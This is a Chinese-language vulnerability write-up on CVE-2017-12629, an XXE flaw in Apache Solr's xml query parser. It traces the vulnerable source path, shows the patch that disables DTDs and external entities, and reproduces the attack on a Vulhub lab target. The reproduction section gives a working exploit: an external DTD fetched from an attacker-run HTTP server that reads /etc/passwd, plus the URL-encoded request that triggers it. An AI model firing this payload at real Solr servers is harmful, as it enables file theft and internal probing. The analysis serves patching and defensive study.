CVE-2017-12629-XXE源码分析与漏洞复现
漏洞概述
漏洞名称:Apache Solr XML实体注入漏洞(XXE)
漏洞编号:CVE-2017-12629
CVSS 评分:9.8
影响版本:Apache Solr < 7.1.0,Apache Lucene < 7.1
修复版本:Apache Solr 7.1.0
CVE-2017-12629 是 Apache Solr 中的高危 XML实体注入(XXE)漏洞。攻击者通过向 Solr 的 XML 查询接口(defType=xmlparser
)发送恶意构造的 XML 数据,触发外部实体解析,导致 任意文件读取、内网探测 或 SSRF攻击。该漏洞的核心问题在于 Solr 的 XML 解析器未禁用外部实体加载,且默认开放高危查询功能。
技术细节与源码分析
1. 漏洞成因
- XML解析器未禁用外部实体
Solr 的xmlparser
查询解析器(基于Lucene的CoreParser
类)在处理用户输入的 XML 数据时,未配置安全参数(如禁用 DTD 或外部实体),导致攻击者可注入恶意实体引用。 - 默认高危接口开放
Solr 的/select
查询接口默认启用defType=xmlparser
,且无需身份验证,为攻击提供直接入口。
2.漏洞触发路径源码解析
1. 用户请求入口
当用户发送包含恶意XML的查询请求时:
GET /solr/demo/select?q=<!DOCTYPE xxe [...]>&defType=xmlparser
Solr路由到XmlQParserPlugin
处理请求:
public QParser createParser(String qstr, SolrParams localParams, SolrParams params, SolrQueryRequest req) { return new XmlQParser(qstr, localParams, params, req); // 创建XML解析器
}
2. XML解析入口:XmlQParser.parse()
public Query parse() throws SyntaxError { String qstr = getString(); // 获取用户输入的q参数(包含恶意XML) if (qstr == null || qstr.isEmpty()) return null; SolrCoreParser solrParser = new SolrCoreParser(defaultField, analyzer, this.req); solrParser.init(XmlQParserPlugin.this.args); // 关键漏洞点:将用户输入直接解析为XML return solrParser.parse(new ByteArrayInputStream(qstr.getBytes(StandardCharsets.UTF_8)));
}
漏洞点分析:
- 直接通过
ByteArrayInputStream
将用户输入的字符串转为XML输入流 - 未对输入内容进行安全过滤或实体限制
3. 漏洞核心:SolrCoreParser.parse()
SolrCoreParser
继承自Lucene的CoreParser
类:
// 父类方法:org.apache.lucene.queryparser.xml.CoreParser#parse
public Query parse(InputStream xmlStream) throws ParserException {return getQuery(parseXML(xmlStream).getDocumentElement());// 调用存在缺陷的XML解析方法 } // 漏洞根源方法
static Document parseXML(InputStream pXmlFile) throws ParserException {DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = null;try {db = dbf.newDocumentBuilder();// 未配置安全参数! }catch (Exception se) {throw new ParserException("XML Parser configuration error", se);} Document doc = null;try {doc = db.parse(pXmlFile);// 触发外部实体解析 }catch (Exception se) {throw new ParserException("Error parsing XML stream:" + se, se);} return doc;}
致命缺陷:
- 未禁用DTD:未设置
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
- 未禁用外部实体:缺少以下安全配置:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
XXE利用链图示
[用户请求] ↓ GET /select?q=<!DOCTYPE xxe [...]>&defType=xmlparser ↓
XmlQParserPlugin.createParser() ↓
XmlQParser.parse() ↓ 将用户输入转为InputStream
SolrCoreParser.parse(InputStream) ↓
CoreParser.parseXML() ↓
DocumentBuilder.parse() ↓
加载外部实体 → 文件读取/SSRF
漏洞修复方案
修复版本:Solr 7.1.0+
补丁代码:
// 修复后的parseXML方法
static Document parseXML(InputStream pXmlFile) throws ParserException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 新增安全配置 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); return db.parse(pXmlFile);
}
修复效果:
- 完全禁用DOCTYPE声明
- 阻止所有外部实体解析
- 彻底阻断XXE攻击路径
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8983
,确认服务正常运行
攻击步骤(读取敏感文件)
1.创建do.dtd
文件读取/etc/passwd
文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
- 可以将文件放在vps上,也可以本机在文件目录启动http服务
python -m http.server 80
2.构造payload
<?xml version="1.0" ?>
<!DOCTYPE x[
<!ENTITY % xxe SYSTEM "http://192.168.1.1:80/do.dtd">
%xxe;
%ent;
]>
<x>&data;</x>
//192.168.1.1:80换为自己的地址
- url 编码
%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e
3.发送payload
GET solr/demo/select?q=%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e&defType=xmlparser
//注意后面的&defType=xmlparser
- 读取到/etc/passwd文件
总结
CVE-2017-12629的XXE漏洞源于Solr在XML解析链中的三重缺陷:
- 输入信任:直接将用户输入作为XML解析
- 配置缺失:
DocumentBuilderFactory
未启用安全特性 - 协议滥用:允许
file://
、http://
等危险协议
通过XmlQParserPlugin→SolrCoreParser→CoreParser.parseXML()
的调用链,恶意实体得以执行。
参考链接
- CVE-2017-12629 xxe漏洞复现
- XXE漏洞原理与Solr修复方案分析
- Solr XXE漏洞复现环境(Vulhub)
- Java XML解析安全配置指南